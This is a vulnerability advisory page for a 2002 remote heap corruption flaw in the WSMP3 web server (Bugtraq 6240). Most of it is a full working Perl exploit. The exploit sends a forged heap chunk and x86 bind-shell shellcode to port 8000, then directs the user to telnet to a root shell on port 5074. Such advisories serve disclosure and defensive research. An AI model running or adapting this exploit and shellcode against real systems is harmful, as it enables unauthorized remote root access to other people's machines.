WSMP3 Remote Heap Corruption Vulnerability

BID:6240

Info

WSMP3 Remote Heap Corruption Vulnerability

Bugtraq ID: 6240
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Nov 25 2002 12:00AM
Updated: Nov 25 2002 12:00AM
Credit: Discovery of this vulnerability credited to "dong-h0un U" <[email protected]>.
Vulnerable: WSMP3 WSMP3 0.0.2
WSMP3 WSMP3 0.0.1
Not Vulnerable:

Discussion

WSMP3 Remote Heap Corruption Vulnerability

A remotely exploitable heap corruption vulnerability has been reported for WSMP3.

Due to insufficient bounds checking of user-supplied input, it is possible for a remote attacker to corrupt heap memory. By corrupting allocated memory headers, it is possible to redirect program flow when the free() function is called.

Successful exploitation of this issue may result in remote execution of arbitrary code with root privileges.

Exploit / POC

WSMP3 Remote Heap Corruption Vulnerability

The following exploit was provided by Damian Myerscough:
#!/usr/bin/perl -w
#
#
# Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3.
# Bug found by; dong-h0un U
# Exploit Coded By; Damian Myerscough
#
# visit: www.securityfreaks.com
# visit: http://x82.i21c.net
#
# 0x02. Vulnerable Packages
# =-=-=-=-=-=-=-=-=-=-=-=-=
#
# Vendor site: http://wsmp3.sourceforge.net/
#
# web_server-0.0.6
# -web_server-0.0.6.tar.gz
# +RedHat Linux 6.x
# web_server-0.0.5 (exploitable)
# -web_server-0.0.5.tar.gz
# web_server-0.0.4
# -web_server-0.0.4.tar.gz
# web_server-0.0.3
# -web_server-0.0.3.tar.gz.gz
# wsmp3-0.0.2
# -web_server-0.0.2.tar.gz
# web_server-v.0.0.1
# -web_server.tar.gz
#
# Tested On Redhat 6.1 (cartman)
#
#

use IO::Socket;

$Shellcode = "\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset 16 bytes
"\xfc\xff\xff\xff". # chunk header
"\xff\xff\xff\xff". # ""
"\xa0\x1b\x05\x08". # 0x08051bac-12
"\xd0\x7b\xff\xbf". # 0xbfff7bd0
"\x20". # ' '
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
"\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c". # nop 12 bytes jumpcode
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
#Shellcode Binds a port on 5074 This shellcode is 92 bytes
"\x31\xc0".
"\x50".
"\x40".
"\x89\xc3".
"\x50".
"\x40".
"\x50".
"\x89\xe1".
"\xb0\x66".
"\xcd\x80".
"\x31\xd2".
"\x52".
"\x66\x68\x13\xd2".
"\x43".
"\x66\x53".
"\x89\xe1".
"\x6a\x10".
"\x51".
"\x50".
"\x89\xe1".
"\xb0\x66".
"\xcd\x80".
"\x40".
"\x89\x44\x24\x04".
"\x43".
"\x43".
"\xb0\x66".
"\xcd\x80".
"\x83\xc4\x0c".
"\x52".
"\x52".
"\x43".
"\xb0\x66".
"\xcd\x80".
"\x93".
"\x89\xd1".
"\xb0\x3f".
"\xcd\x80".
"\x41".
"\x80\xf9\x03".
"\x75\xf6".
"\x52".
"\x68\x6e\x2f\x73\x68".
"\x68\x2f\x2f\x62\x69".
"\x89\xe3".
"\x52".
"\x53".
"\x89\xe1".
"\xb0\x0b".
"\xcd\x80";

print"+==========================================+\n";
print" Remote Heap malloc/free WSMP3 \n";
print" Coded By; Damian Myerscough \n";
print" Bug found By; dong-h0un U \n";
print" Offset done By; dong-h0un U \n";
print"+==========================================+\n\n";

print"Enter a Host: ";
$Host = <STDIN>;
chop($Host);

# First connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host \n";

print"Sending Fake Chunk.\n";
print $Socket "$Shellcode";
close($Socket);

# Second connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host \n";
print"Sending Shellcode.\n";
print $Socket "$Shellcode";
close($Socket);

print"Binded port.\n";
print"Telnet to $Host at port 5074\n";


The following exploit was provided:

References

WSMP3 Remote Heap Corruption Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report